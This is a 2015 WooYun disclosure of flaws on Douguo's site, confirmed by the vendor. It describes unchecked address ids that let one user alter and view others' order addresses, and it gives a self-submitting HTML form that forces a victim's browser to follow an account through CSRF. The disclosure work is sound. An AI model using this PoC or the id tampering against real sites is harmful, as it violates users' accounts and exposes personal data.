当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-095859

漏洞标题：豆果网几处漏洞

相关厂商：豆果网

漏洞作者： 番茄炒蛋

提交时间：2015-02-06 14:03

修复时间：2015-03-23 14:04

公开时间：2015-03-23 14:04

漏洞类型：设计缺陷/逻辑错误

危害等级：高

自评Rank：20

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-02-06： 细节已通知厂商并且等待厂商处理中
2015-02-06： 厂商已经确认，细节仅向厂商公开
2015-02-16： 细节向核心白帽子及相关领域专家公开
2015-02-26： 细节向普通白帽子公开
2015-03-08： 细节向实习白帽子公开
2015-03-23： 细节向公众公开

简要描述：

设计不当

详细说明：

2处越权
一 优食汇
提交订单时 地址修改时候没有权限验证

1.png


编辑时候抓包，

2.png


id可以改 改了之后

3.png


4.png


二 提交订单 生成订单地址没做权限验证

5.png


漏洞证明：

addresid没有做权限验证 修改之后 成功提交订单 查看订单详情

6.png


还是个艺龙的妹子。。
三关注可csrf
我没有任何关注的

12.png


由于关注的时候没有referer验证 poc

<!DOCTYPE HTML>
<html>
<body>
<form id="demo" name="demo" action="http://www.douguo.com/uajax/addDelFriend" method="POST">
	<input type="text" name="userid" value="2472762" />
	<input type="text" name="info" value="add" />
	<input type="submit" value="submit" />
</form>
<script>
	document.demo.submit();
</script>
</body>
</html>


同一浏览器打开

13.png


在看看我的关注

14.png


修复方案：

验证权限 ref

版权声明：转载请注明来源 番茄炒蛋@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：12

确认时间：2015-02-06 15:44

厂商回复：

感谢，已经反馈给开发，马上修复。

最新状态：

暂无